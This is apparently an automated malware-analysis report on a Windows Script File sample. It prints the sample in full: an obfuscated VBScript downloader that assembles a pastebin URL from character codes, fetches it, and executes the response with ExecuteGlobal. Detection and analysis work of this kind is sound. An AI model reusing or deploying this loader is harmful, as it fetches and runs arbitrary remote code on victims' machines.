1c0e6532371e3da6f184a856881e14f6ab097c9c3a7d223e7a7281d37538ce6f.unknown
Obfuscated C2 downloader executes remote code
ExecuteGlobal on variableExecuteGlobal evaluates VBScript text
SHA-2561c0e6532371e3da6f184a856881e14f6ab097c9c3a7d223e7a7281d37538ce6f
MaleculeO₂(XeC)H₂(Cm₃Po)
Evidence
1<job id="afuzilar">
2 <script language="VBScript">
3
4 Dim tergeminado, gaio, zambujal
5 gaio = "" & costume(104) & "" & costume(116) & "" & costume(116) & "" & costume(112) & "" & costume(115) & "://" & costume(112) & "" & costume(97) & "" & costume(115) & "" & costume(116) & "" & costume(101) & "" & costume(98) & "" & costume(105) & "" & costume(110) & "." & costume(99) & "" & costume(111) & "" & costume(109) & "/" & costume(114) & "" & costume(97) & "" & costume(119) & "/" & costume(119) & "3" & costume(86) & "" & costume(116) & "5" & costume(85) & "" & costume(104) & "" & costume(119) & ""
6 Set tergeminado = CreateObject("MSXML2.XMLHTTP")
7 tergeminado.open "GET", gaio, False
8 tergeminado.send
9 If tergeminado.Status = 200 Then
10 zambujal = tergeminado.responseText
11 ExecuteGlobal zambujal
12 Else
13 MsgBox "Erro ao acessar a URL: " & tergeminado.statusText
14 End If
15 Set tergeminado = Nothing
16 Function costume(nelita)
17 costume = Chr(nelita)
18 End Function
19
20 </script>
21</job>